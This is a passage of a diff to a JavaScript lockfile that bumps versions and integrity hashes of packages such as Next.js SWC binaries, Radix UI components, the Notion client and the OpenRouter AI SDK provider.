"sha512-DZFFT1wIAg37LJw37yhMRFfjATd3vTQzjZ1Yki8u2vhO6Hi5VE6BVaGQ1aaDu7xb4iMErz+9EOwjpS7xcxFeBw=="], - "@napi-rs/canvas-win32-x64-msvc": ["@napi-rs/canvas-win32-x64-msvc@0.1.97", "", { "os": "win32", "cpu": "x64" }, "sha512-sWtD2EE3fV0IzN+iiQUqr/Q1SwqWhs2O1FKItFlxtdDkikpEj5g7DKQpY3x55H/MAOnL8iomnlk3mcEeGiUMoQ=="], + "@napi-rs/canvas-win32-x64-msvc": ["@napi-rs/canvas-win32-x64-msvc@0.1.100", "", { "os": "win32", "cpu": "x64" }, "sha512-MyT1j3mHC2+Lu4pBi9mKyMJhtP6U7k7EldY7sj/uS5gJA65gTXt8MefJQXLJo5d/vZbuWmfxzkEUNc/urV3pHA=="], - "@next/env": ["@next/env@15.5.12", "", {}, "sha512-pUvdJN1on574wQHjaBfNGDt9Mz5utDSZFsIIQkMzPgNS8ZvT4H2mwOrOIClwsQOb6EGx5M76/CZr6G8i6pSpLg=="], + "@next/env": ["@next/env@16.4.0", "", {}, "sha512-pyLlT5oafGlX8X7xjgGNXz5dNIDSxREm+qD6i9VLSZiZFopA/XWl8NM/KPmLx/8EG/++c49iid3gNWSQW1+2dQ=="], - "@next/swc-darwin-arm64": ["@next/swc-darwin-arm64@15.5.12", "", { "os": "darwin", "cpu": "arm64" }, "sha512-RnRjBtH8S8eXCpUNkQ+543DUc7ys8y15VxmFU9HRqlo9BG3CcBUiwNtF8SNoi2xvGCVJq1vl2yYq+3oISBS0Zg=="], + "@next/swc-darwin-arm64": ["@next/swc-darwin-arm64@16.4.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-yyZ+9MgViAKLLb5l1gPBGjRwnq3teNLb5Zx6JEw8LzNSTjlsnp+baUHFxTgl7PpjCmKf48VQfyipG1eBflb48Q=="], - "@next/swc-darwin-x64": ["@next/swc-darwin-x64@15.5.12", "", { "os": "darwin", "cpu": "x64" }, "sha512-nqa9/7iQlboF1EFtNhWxQA0rQstmYRSBGxSM6g3GxvxHxcoeqVXfGNr9stJOme674m2V7r4E3+jEhhGvSQhJRA=="], + "@next/swc-darwin-x64": ["@next/swc-darwin-x64@16.4.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-RePEEejEj1Auf5s9qEcG0JbcDP3ceNUS/ofNX8AhxzgIjTVlZIHMatlp16YplcSMpsVo/ZMQHJTjbMYJznjGUg=="], - "@next/swc-linux-arm64-gnu": ["@next/swc-linux-arm64-gnu@15.5.12", "", { "os": "linux", "cpu": "arm64" }, "sha512-dCzAjqhDHwmoB2M4eYfVKqXs99QdQxNQVpftvP1eGVppamXh/OkDAwV737Zr0KPXEqRUMN4uCjh6mjO+XtF3Mw=="], + "@next/swc-linux-arm64-gnu": ["@next/swc-linux-arm64-gnu@16.4.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-HhsyCqd+NpmvDDVY/LqkAN24f+QVvXh3ie+PfcwKinWL2Mu826JymQxJXGjAIfmJ4VlHjp4Pe/nZtXtUoEMAqw=="], - "@next/swc-linux-arm64-musl": ["@next/swc-linux-arm64-musl@15.5.12", "", { "os": "linux", "cpu": "arm64" }, "sha512-+fpGWvQiITgf7PUtbWY1H7qUSnBZsPPLyyq03QuAKpVoTy/QUx1JptEDTQMVvQhvizCEuNLEeghrQUyXQOekuw=="], + "@next/swc-linux-arm64-musl": ["@next/swc-linux-arm64-musl@16.4.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-sN9Pf+Zh+RpZAOmbR7d8KAA8T61CVhawtbEJ2Bk6QrRzx6Z/6haaF4UiwBzytM96GRRRWZh9/WALIEO3npMamA=="], - "@next/swc-linux-x64-gnu": ["@next/swc-linux-x64-gnu@15.5.12", "", { "os": "linux", "cpu": "x64" }, "sha512-jSLvgdRRL/hrFAPqEjJf1fFguC719kmcptjNVDJl26BnJIpjL3KH5h6mzR4mAweociLQaqvt4UyzfbFjgAdDcw=="], + "@next/swc-linux-x64-gnu": ["@next/swc-linux-x64-gnu@16.4.0", "", { "os": "linux", "cpu": "x64" }, "sha512-D5M5xLWQVd1CvR+L7BickM1weRfmM41x3L1NWcnKY/oyJJqr1qwaCgmu3dMAhLBOMdZwSuDCRV6DJRRpiUkbDQ=="], - "@next/swc-linux-x64-musl": ["@next/swc-linux-x64-musl@15.5.12", "", { "os": "linux", "cpu": "x64" }, "sha512-/uaF0WfmYqQgLfPmN6BvULwxY0dufI2mlN2JbOKqqceZh1G4hjREyi7pg03zjfyS6eqNemHAZPSoP84x17vo6w=="], + "@next/swc-linux-x64-musl": ["@next/swc-linux-x64-musl@16.4.0", "", { "os": "linux", "cpu": "x64" }, "sha512-8d5WLS6a9YalqpOgXdlbvonFu+sIgjA+CO6tGzetrpPVcUL56foa7B7664h41rAlbLi5fJwK4vWji3zf4QDy+w=="], - "@next/swc-win32-arm64-msvc": ["@next/swc-win32-arm64-msvc@15.5.12", "", { "os": "win32", "cpu": "arm64" }, "sha512-xhsL1OvQSfGmlL5RbOmU+FV120urrgFpYLq+6U8C6KIym32gZT6XF/SDE92jKzzlPWskkbjOKCpqk5m4i8PEfg=="], + "@next/swc-win32-arm64-msvc": ["@next/swc-win32-arm64-msvc@16.4.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-sQuOIiW3snb48UwrBcDMvFA/u03qtw2LeuSIxFIQ9AJuW9UG/4Ddsfo+eV73PnZwBhyncMtsKVh7PrzMol2/fA=="], - "@next/swc-win32-x64-msvc": ["@next/swc-win32-x64-msvc@15.5.12", "", { "os": "win32", "cpu": "x64" }, "sha512-Z1Dh6lhFkxvBDH1FoW6OU/L6prYwPSlwjLiZkExIAh8fbP6iI/M7iGTQAJPYJ9YFlWobCZ1PHbchFhFYb2ADkw=="], + "@next/swc-win32-x64-msvc": ["@next/swc-win32-x64-msvc@16.4.0", "", { "os": "win32", "cpu": "x64" }, "sha512-6/33lCuxpdHUy27RegyGM/5uTpF7YZd3UR4D0gpkOA/tWY5YR7msbQjqPgCZmSmxrrTLGCXYA4A8vT2H5DPGTQ=="], "@noble/hashes": ["@noble/hashes@2.0.1", "", {}, "sha512-XlOlEbQcE9fmuXxrVTXCTlG2nlRXa9Rj3rr5Ue/+tX+nmkgbX720YHh0VR3hBF9xDvwnb8D2shVGOwNx+ulArw=="], - "@notionhq/client": ["@notionhq/client@5.13.0", "", {}, "sha512-SWVaqYVNaecLzAAllups4vklxxomaFenEMEkoUs3ylvhK1KFTU5Jevgu9Uwm/TSdhsErV0ru5YHcLd3SNyPi6Q=="], + "@notionhq/client": ["@notionhq/client@5.27.0", "", {}, "sha512-JnkLtAzSDrEnvtZ8dQ5L4KO+xyL5g01xK5qmKTmhJ5KFY8LWsMyFG033vHCj0mFcsz9thAMjfcAQz/SWxiexag=="], "@npmcli/agent": ["@npmcli/agent@3.0.0", "", { "dependencies": { "agent-base": "^7.1.0", "http-proxy-agent": "^7.0.0", "https-proxy-agent": "^7.0.1", "lru-cache": "^10.0.1", "socks-proxy-agent": "^8.0.3" } }, "sha512-S79NdEgDQd/NGCay6TCoVzXSj74skRZIKJcpJjC5lOq34SZzyI6MqtiiWoiVWoVrTcGjNeC4ipbh1VIHlpfF5Q=="], @@ -541,31 +601,39 @@ "@octokit/types": ["@octokit/types@16.0.0", "", { "dependencies": { "@octokit/openapi-types": "^27.0.0" } }, "sha512-sKq+9r1Mm4efXW1FCk7hFSeJo4QKreL/tTbR0rz/qx/r1Oa2VV83LTA/H/MuCOX7uCIJmQVRKBcbmWoySjAnSg=="], - "@opencode-ai/sdk": ["@opencode-ai/sdk@1.14.19", "", { "dependencies": { "cross-spawn": "7.0.6" } }, "sha512-9sTGsi8/HlBBeaWfsUjdJ2yi/SqpRvqSld0IFXc3ldaPb1w1uIPvgCGzhlHYQtqatXxSaX5lTN7zpudMaE21aw=="], + "@opencode-ai/sdk": ["@opencode-ai/sdk@1.18.35", "", { "dependencies": { "cross-spawn": "7.0.6" } }, "sha512-cp3IFKwnqgeUbflrrwz/WmG/dALVyM2k0LA1aqCvWe58Tu4utNTNw+BwZzQEML1HxDaLrIB+Fc4Ztb8S16Ijcw=="], - "@openrouter/ai-sdk-provider": ["@openrouter/ai-sdk-provider@2.3.3", "", { "peerDependencies": { "ai": "^6.0.0", "zod": "^3.25.0 || ^4.0.0" } }, "sha512-4fVteGkVedc7fGoA9+qJs4tpYwALezMq14m2Sjub3KmyRlksCbK+WJf67NPdGem8+NZrV2tAN42A1NU3+SiV3w=="], - - "@opentelemetry/api": ["@opentelemetry/api@1.9.0", "", {}, "sha512-3giAOQvZiH5F9bMlMiv8+GSPMeqg0dbaeo58/0SlA9sxSqZhnUtxzX9/2FzyhS9sWQf5S0GJE0AKBrFqjpeYcg=="], + "@openrouter/ai-sdk-provider": ["@openrouter/ai-sdk-provider@3.1.0", "", { "peerDependencies": { "ai": "^7.0.0", "zod": "^3.25.76 || ^4.1.8" } }, "sha512-BQy1TA9fKrh47s9ivsO6FY5QimN7GUF0i8Qon3pkxQclEgShso0dClpcWn8OIyPLEZZPFaFKgI8TW4S/O0p0Dw=="], "@paralleldrive/cuid2": ["@paralleldrive/cuid2@3.3.0", "", { "dependencies": { "@noble/hashes": "^2.0.1", "bignumber.js": "^9.3.1", "error-causes": "^3.0.2" }, "bin": { "cuid2": "bin/cuid2.js" } }, "sha512-OqiFvSOF0dBSesELYY2CAMa4YINvlLpvKOz/rv6NeZEqiyttlHgv98Juwv4Ch+GrEV7IZ8jfI2VcEoYUjXXCjw=="], - "@pierre/diffs": ["@pierre/diffs@1.1.7", "", { "dependencies": { "@pierre/theme": "0.0.22", "@shikijs/transformers": "^3.0.0", "diff": "8.0.3", "hast-util-to-html": "9.0.5", "lru_map": "0.4.1", "shiki": "^3.0.0" }, "peerDependencies": { "react": "^18.3.1 || ^19.0.0", "react-dom": "^18.3.1 || ^19.0.0" } }, "sha512-FWs2hHrjZPXmJl6ewnfFzOjNEM3aeSH1CB8ynZg4SOg95Wc5AxomeyJJhXf44PK9Cc+PNm1CgsJ1IvOdfgHyHA=="], + "@peculiar/asn1-schema": ["@peculiar/asn1-schema@2.10.0", "", { "dependencies": { "@peculiar/utils": "^2.0.2", "asn1js": "^3.0.10", "tslib": "^2.8.1" } }, "sha512-GhokD41lV4gQrrLYm3wCkHfBOnJrnhDMgt4XeMW8gzfE1UdJqIuSwsE+ggf82XBjUXRJylcm+KIGQFa4utIVLw=="], + + "@peculiar/json-schema": ["@peculiar/json-schema@1.1.12", "", { "dependencies": { "tslib": "^2.0.0" } }, "sha512-coUfuoMeIB7B8/NMekxaDzLhaYmp0HZNPEjYRm9goRou8UZIC3z21s0sL9AWoCw4EG876QyO3kYrc61WNF9B/w=="], - "@pierre/theme": ["@pierre/theme@0.0.22", "", {}, "sha512-ePUIdQRNGjrveELTU7fY89Xa7YGHHEy5Po5jQy/18lm32eRn96+tnYJEtFooGdffrx55KBUtOXfvVy/7LDFFhA=="], + "@peculiar/utils": ["@peculiar/utils@2.0.3", "", { "dependencies": { "tslib": "^2.8.1" } }, "sha512-+oL3HPFRIZ1St2K50lWCXiioIgSoxzz7R1J3uF6neO2yl1sgmpgY6XXJH4BdpoDkMWznQTeYF6oWNDZLCdQ4eQ=="], + + "@peculiar/webcrypto": ["@peculiar/webcrypto@1.7.1", "", { "dependencies": { "@peculiar/asn1-schema": "^2.7.0", "@peculiar/json-schema": "^1.1.12", "@peculiar/utils": "^2.0.2", "tslib": "^2.8.1", "webcrypto-core": "^1.9.2" } }, "sha512-ODOov0sGMJMf3jPonOkgGqPknTsu+DdQ7kD++gz8aI+aFMOMHFbWAA2taqXXVTdP+OTOQR/znGvSpmkeI0WTYQ=="], + + "@pierre/diffs": ["@pierre/diffs@1.5.2", "", { "dependencies": { "@pierre/theme": "2.0.0", "@pierre/theming": "1.0.1", "@shikijs/transformers": "^3.0.0 || ^4.0.0", "diff": "9.0.0", "hast-util-to-html": "9.0.5", "lru_map": "0.4.1", "shiki": "^3.0.0 || ^4.0.0" }, "peerDependencies": { "react": "^18.3.1 || ^19.0.0", "react-dom": "^18.3.1 || ^19.0.0" }, "optionalPeers": ["react", "react-dom"] }, "sha512-QVxIWQEnNoko22k63maERzozd29+FtaUNpRrZiw603WMe5R1mFSED+jMtPkcVP3SDYS1DWg5K7sa7sJbr3xkNQ=="], + + "@pierre/theme": ["@pierre/theme@2.0.0", "", {}, "sha512-yNDd9GYLQl1mEUJR8AneJ5e4ohLIHQd/wZLWr4fagt78vS2RwwZNW530vVgHqXFAyFVcFlRmGUD5ramXH46OXw=="], + + "@pierre/theming": ["@pierre/theming@1.0.1", "", { "peerDependencies": { "@pierre/theme": "^1.1.0 || ^2.0.0", "@shikijs/themes": "^3.0.0 || ^4.0.0", "react": "^18.3.1 || ^19.0.0", "react-dom": "^18.3.1 || ^19.0.0", "shiki": "^3.0.0 || ^4.0.0" }, "optionalPeers": ["@pierre/theme", "@shikijs/themes", "react", "react-dom", "shiki"] }, "sha512-WCI5Qd7iprDpISL9fBYOLe8RV53+b7mFNA3bPzl60/2CKCSrsKN8zEcep6Y3BAzvARlmca50zGjDodqPGiTUKA=="], "@pkgjs/parseargs": ["@pkgjs/parseargs@0.11.0", "", {}, "sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg=="], "@radix-ui/number": ["@radix-ui/number@1.1.1", "", {}, "sha512-MkKCwxlXTgz6CFoJx3pCwn07GKp36+aZyu/u2Ln2VrA5DcdyCZkASEDBTd8x5whTQQL5CiYf4prXKLcgQdv29g=="], - "@radix-ui/primitive": ["@radix-ui/primitive@1.1.3", "", {}, "sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg=="], + "@radix-ui/primitive": ["@radix-ui/primitive@1.1.7", "", {}, "sha512-rqWnm76nYT8HoNNqEjpgJ7Pw/DrBj5iBTrmEPo6HTX5+VJyBNOqTdv4g89G63HuR5g0AaENoAcH7Is5fF2kZ8Q=="], - "@radix-ui/react-avatar": ["@radix-ui/react-avatar@1.1.11", "", { "dependencies": { "@radix-ui/react-context": "1.1.3", "@radix-ui/react-primitive": "2.1.4", "@radix-ui/react-use-callback-ref": "1.1.1", "@radix-ui/react-use-is-hydrated": "0.1.0", "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-0Qk603AHGV28BOBO34p7IgD5m+V5Sg/YovfayABkoDDBM5d3NCx0Mp4gGrjzLGes1jV5eNOE1r3itqOR33VC6Q=="], + "@radix-ui/react-avatar": ["@radix-ui/react-avatar@1.2.6", "", { "dependencies": { "@radix-ui/primitive": "1.1.7", "@radix-ui/react-context": "1.2.2", "@radix-ui/react-primitive": "2.1.10", "@radix-ui/react-use-callback-ref": "1.1.4", "@radix-ui/react-use-is-hydrated": "0.1.3", "@radix-ui/react-use-layout-effect": "1.1.4" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-4ULOTJ/mqy2hT9GlWa/MFHxHSvH3nJzHnZM1waNsc5Bonv7i70aNenghXmD97S6OJ81ekXONGGt4nT1r0PfEdA=="], "@radix-ui/react-collection": ["@radix-ui/react-collection@1.1.7", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-slot": "1.2.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-Fh9rGN0MoI4ZFUNyfFVNU4y9LUz93u9/0K+yLgA2bwRojxM8JU1DyvvMBabnZPBgMWREAJvU2jjVzq+LrFUglw=="], "@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.1.2", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-z4eqJvfiNnFMHIIvXP3CY57y2WJs5g2v3X0zm9mEJkrkNv4rDxu+sg9Jh8EkXyeqBkB7SOcboo9dMVqhyrACIg=="], - "@radix-ui/react-context": ["@radix-ui/react-context@1.1.3", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-ieIFACdMpYfMEjF0rEf5KLvfVyIkOz6PDGyNnP+u+4xQ6jny3VCgA4OgXOwNx2aUkxn8zx9fiVcM8CfFYv9Lxw=="], + "@radix-ui/react-context": ["@radix-ui/react-context@1.2.2", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-RHCUGwKHDr0hDGg4X7ma4JG4/+12qxw8rkh5QKdDldlCvtja6nUx1Ef/8HVrJze81lEsgLQlqjzjGNHantgnQA=="], "@radix-ui/react-dialog": ["@radix-ui/react-dialog@1.1.15", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-dismissable-layer": "1.1.11", "@radix-ui/react-focus-guards": "1.1.3", "@radix-ui/react-focus-scope": "1.1.7", "@radix-ui/react-id": "1.1.1", "@radix-ui/react-portal": "1.1.9", "@radix-ui/react-presence": "1.1.5", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-slot": "1.2.3", "@radix-ui/react-use-controllable-state": "1.2.2", "aria-hidden": "^1.2.4", "react-remove-scroll": "^2.6.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-TCglVRtzlffRNxRMEyR36DGBLJpeusFcgMVD9PZEzAKnUs1lKCgX5u9BmC2Yg+LL9MgZDugFFs1Vl+Jp4t/PGw=="], @@ -589,7 +657,7 @@ "@radix-ui/react-slot": ["@radix-ui/react-slot@1.2.4", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-Jl+bCv8HxKnlTLVrcDE8zTMJ09R9/ukw4qBs/oZClOfoQk/cOTbDn+NceXfV7j09YPVQUryJPHurafcSg6EVKA=="], - "@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-FkBMwD+qbGQeMu1cOHnuGB6x4yzPjho8ap5WtbEJ26umhgqVXbhekKUQO+hZEL1vU92a3wHwdp0HAcqAUF5iDg=="], + "@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.1.4", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-R6OUY2e2fA6Yn6s+VSx5KBV6Nx8LQEhu+cz7LCej18rQ1HLyg9PSC9jP/ZNx0o6FAIK9c0F1kHylzSxKsdlkrQ=="], "@radix-ui/react-use-controllable-state": ["@radix-ui/react-use-controllable-state@1.2.2", "", { "dependencies": { "@radix-ui/react-use-effect-event": "0.0.2", "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-BjasUjixPFdS+NKkypcyyN5Pmg83Olst0+c6vGov0diwTEo6mgdqVR6hxcEgFuh4QrAs7Rc+9KuGJ9TVCj0Zzg=="], @@ -597,391 +665,193 @@ "@radix-ui/react-use-escape-keydown": ["@radix-ui/react-use-escape-keydown@1.1.1", "", { "dependencies": { "@radix-ui/react-use-callback-ref": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-Il0+boE7w/XebUHyBjroE+DbByORGR9KKmITzbR7MyQ4akpORYP/ZmbhAr0DG7RmmBqoOnZdy2QlvajJ2QA59g=="], - "@radix-ui/react-use-is-hydrated": ["@radix-ui/react-use-is-hydrated@0.1.0", "", { "dependencies": { "use-sync-external-store": "^1.5.0" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-U+UORVEq+cTnRIaostJv9AGdV3G6Y+zbVd+12e18jQ5A3c0xL03IhnHuiU4UV69wolOQp5GfR58NW/EgdQhwOA=="], + "@radix-ui/react-use-is-hydrated": ["@radix-ui/react-use-is-hydrated@0.1.3", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-umO/aJ+82CpOnhDZUTbILCQf7kU/g0iv+oGs/Q8jw7IkhWBzaEP4sA268PhFAJTFetbwp3ICc6ktpI4TqtxcIw=="], - "@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ=="], + "@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.1.4", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-K20DkRkUwDnxEYMBPcg3Y6voLkEy5p5QQmszZgLngKKiC7dzBR/aEuK3w1qlx2JWDUNH6FluahYdgR3BP+QbYw=="], "@radix-ui/react-use-previous": ["@radix-ui/react-use-previous@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-2dHfToCj/pzca2Ck724OZ5L0EVrr3eHRNsG/b3xQJLA2hZpVCS99bLAX+hm1IHXDEnzU6by5z/5MIY794/a8NQ=="], "@radix-ui/react-use-size": ["@radix-ui/react-use-size@1.1.1", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-ewrXRDTAqAXlkl6t/fkXWNAhFX9I+CkKlw6zjEwk86RSPKwZr3xpBRso655aqYafwtnbpHLj6toFzmd6xdVptQ=="], - "@react-aria/autocomplete": ["@react-aria/autocomplete@3.0.0-rc.6", "", { "dependencies": { "@react-aria/combobox": "^3.15.0", "@react-aria/focus": "^3.21.5", "@react-aria/i18n": "^3.12.16", "@react-aria/interactions": "^3.27.1", "@react-aria/listbox": "^3.15.3", "@react-aria/searchfield": "^3.8.12", "@react-aria/textfield": "^3.18.5", "@react-aria/utils": "^3.33.1", "@react-stately/autocomplete": "3.0.0-beta.4", "@react-stately/combobox": "^3.13.0", "@react-types/autocomplete": "3.0.0-alpha.38", "@react-types/button": "^3.15.1", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-uymUNJ8NW+dX7lmgkHE+SklAbxwktycAJcI5lBBw6KPZyc0EdMHC+/Fc5CUz3enIAhNwd2oxxogcSHknquMzQA=="], - - "@react-aria/breadcrumbs": ["@react-aria/breadcrumbs@3.5.32", "", { "dependencies": { "@react-aria/i18n": "^3.12.16", "@react-aria/link": "^3.8.9", "@react-aria/utils": "^3.33.1", "@react-types/breadcrumbs": "^3.7.19", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-S61vh5DJ2PXiXUwD7gk+pvS/b4VPrc3ZJOUZ0yVRLHkVESr5LhIZH+SAVgZkm1lzKyMRG+BH+fiRH/DZRSs7SA=="], - - "@react-aria/button": ["@react-aria/button@3.14.5", "", { "dependencies": { "@react-aria/interactions": "^3.27.1", "@react-aria/toolbar": "3.0.0-beta.24", "@react-aria/utils": "^3.33.1", "@react-stately/toggle": "^3.9.5", "@react-types/button": "^3.15.1", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-ZuLx+wQj9VQhH9BYe7t0JowmKnns2XrFHFNvIVBb5RwxL+CIycIOL7brhWKg2rGdxvlOom7jhVbcjSmtAaSyaQ=="], - - "@react-aria/calendar": ["@react-aria/calendar@3.9.5", "", { "dependencies": { "@internationalized/date": "^3.12.0", "@react-aria/i18n": "^3.12.16", "@react-aria/interactions": "^3.27.1", "@react-aria/live-announcer": "^3.4.4", "@react-aria/utils": "^3.33.1", "@react-stately/calendar": "^3.9.3", "@react-types/button": "^3.15.1", "@react-types/calendar": "^3.8.3", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-k0kvceYdZZu+DoeqephtlmIvh1CxqdFyoN52iqVzTz9O0pe5Xfhq7zxPGbeCp4pC61xzp8Lu/6uFA/YNfQQNag=="], - - "@react-aria/checkbox": ["@react-aria/checkbox@3.16.5", "", { "dependencies": { "@react-aria/form": "^3.1.5", "@react-aria/interactions": "^3.27.1", "@react-aria/label": "^3.7.25", "@react-aria/toggle": "^3.12.5", "@react-aria/utils": "^3.33.1", "@react-stately/checkbox": "^3.7.5", "@react-stately/form": "^3.2.4", "@react-stately/toggle": "^3.9.5", "@react-types/checkbox": "^3.10.4", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-ZhUT7ELuD52hb+Zpzw0ElLQiVOd5sKYahrh+PK3vq13Wk5TedBscALpjuXetI4pwFfdmAM1Lhgcsrd8+6AmyvA=="], - - "@react-aria/collections": ["@react-aria/collections@3.0.3", "", { "dependencies": { "@react-aria/interactions": "^3.27.1", "@react-aria/ssr": "^3.9.10", "@react-aria/utils": "^3.33.1", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, "sha512-lbC5DEbHeVFvVr4ke9y8D9Nynnr8G8UjVEBoFGRylpAaScU7SX1TN84QI+EjMbsdZ0/5P2H7gUTS+MYd+6U3Rg=="], - - "@react-aria/color": ["@react-aria/color@3.1.5", "", { "dependencies": { "@react-aria/i18n": "^3.12.16", "@react-aria/interactions": "^3.27.1", "@react-aria/numberfield": "^3.12.5", "@react-aria/slider": "^3.8.5", "@react-aria/spinbutton": "^3.7.2", "@react-aria/textfield": "^3.18.5", "@react-aria/utils": "^3.33.1", "@react-aria/visually-hidden": "^3.8.31", "@react-stately/color": "^3.9.5", "@react-stately/form": "^3.2.4", "@react-types/color": "^3.1.4", "@react-types/shared": "^3.33.1", "@swc/helpers": "^0.5.0" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" } }, 